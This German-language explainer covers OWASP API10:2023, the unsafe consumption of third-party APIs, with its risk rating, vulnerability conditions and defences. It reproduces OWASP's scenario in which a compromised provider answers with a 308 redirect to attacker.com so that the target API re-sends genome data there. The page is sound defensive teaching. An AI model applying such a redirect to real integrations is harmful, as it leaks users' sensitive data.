OWASP-Einstufung (API10:2023)

OWASP-Bewertung (API Specific): Exploitability (Ausnutzbarkeit) Easy; Prevalence (Verbreitung) Common; Detectability (Erkennbarkeit) Average; Technical Impact (technische Schwere) Severe; Business Impact: Specific (anwendungsspezifisch). OWASP merkt an, dass die Ausnutzung erfordert, dass Angreifer andere von der Ziel-API integrierte APIs/Dienste identifizieren und ggf. kompromittieren - diese Informationen sind meist nicht öffentlich verfügbar bzw. die integrierten Dienste nicht leicht angreifbar.

Wie der Angriff funktioniert

Der Angriff richtet sich nicht direkt gegen die Ziel-API, sondern gegen den Vertrauenspfad zwischen der Ziel-API und den von ihr eingebundenen Dritt-APIs.

Da Entwickler dazu neigen, eingehenden Daten von Drittanbietern zu vertrauen statt sie zu prüfen, fehlen oft Validierung und Bereinigung der zurückgelieferten Daten, bevor diese verarbeitet oder an nachgelagerte Komponenten (z. B. eine Datenbank) weitergegeben werden.

Laut OWASP ist eine API potenziell verwundbar, wenn sie:

  • mit anderen APIs über unverschlüsselte Kanäle kommuniziert.
  • Weiterleitungen blind folgt.
  • die Menge der Ressourcen zur Verarbeitung von Drittanbieter-Antworten nicht begrenzt.
  • keine Timeouts für solche Interaktionen setzt.

Der Angreifer muss dafür die integrierten Dienste (Datenquellen) identifizieren und ggf. kompromittieren oder mit präparierten Inhalten befüllen. Die manipulierte Antwort wird dann von der vertrauenden Ziel-API ungeprüft verarbeitet.

1. AusgangslageDie API vertraut einer Drittanbieter-API blind
2. AngriffDer Drittanbieter wird kompromittiert oder manipuliert
3. ErgebnisSchadhafte Daten gelangen ungeprüft ins System

Blindes Vertrauen in Dritt-APIs überträgt deren Risiko.

Beispiel

OWASP-Szenario 2 (Blindes Folgen von Weiterleitungen, führt zu Datenabfluss):

  1. Eine API integriert einen Drittanbieter, um sensible medizinische Nutzerdaten sicher zu speichern. Sie sendet über eine gesicherte Verbindung folgende Anfrage: POST /user/store_phr_record { "genome": "ACTAGTAG__TTGADDAAIICCTT..." }
  2. Angreifer finden einen Weg, die Drittanbieter-API zu kompromittieren. Diese antwortet nun auf solche Anfragen mit einer Weiterleitung: HTTP/1.1 308 Permanent Redirect Location: https://attacker.com/
  3. Da die Ziel-API den Weiterleitungen des Drittanbieters blind folgt, wiederholt sie exakt dieselbe Anfrage - inklusive der sensiblen Nutzerdaten - diesmal jedoch an den Server des Angreifers. Die vertraulichen Gesundheitsdaten landen so beim Angreifer.

Auswirkung

Die Auswirkung hängt davon ab, was die Ziel-API mit den abgerufenen Daten macht.

Erfolgreiche Ausnutzung kann führen zu:

  • Offenlegung sensibler Informationen an unbefugte Akteure.
  • verschiedenen Arten von Injection-Angriffen (z. B. SQL-Injection).
  • Denial of Service.

Die technische Schwere wird von OWASP als "Severe" eingestuft. Der geschäftliche Schaden ist anwendungsspezifisch ("Specific").

So schützt man sich

  • Bei der Auswahl von Dienstleistern/Drittanbietern deren API-Sicherheitslage (Security Posture) bewerten.
  • Alle API-Interaktionen über einen sicheren Kommunikationskanal (TLS) abwickeln.
  • Von integrierten APIs empfangene Daten immer validieren und ordnungsgemäß bereinigen (sanitize), bevor sie verwendet werden.
  • Eine Allowlist bekannter, zulässiger Ziele führen, zu denen integrierte APIs weiterleiten dürfen - Weiterleitungen niemals blind folgen.
  • (Aus dem Abschnitt 'Is the API Vulnerable?' ableitbar, nicht im Abschnitt 'How To Prevent' aufgeführt) Die Menge der Ressourcen zur Verarbeitung von Drittanbieter-Antworten begrenzen und Timeouts für Interaktionen mit Drittdiensten implementieren.

Quellen

Weiterlesen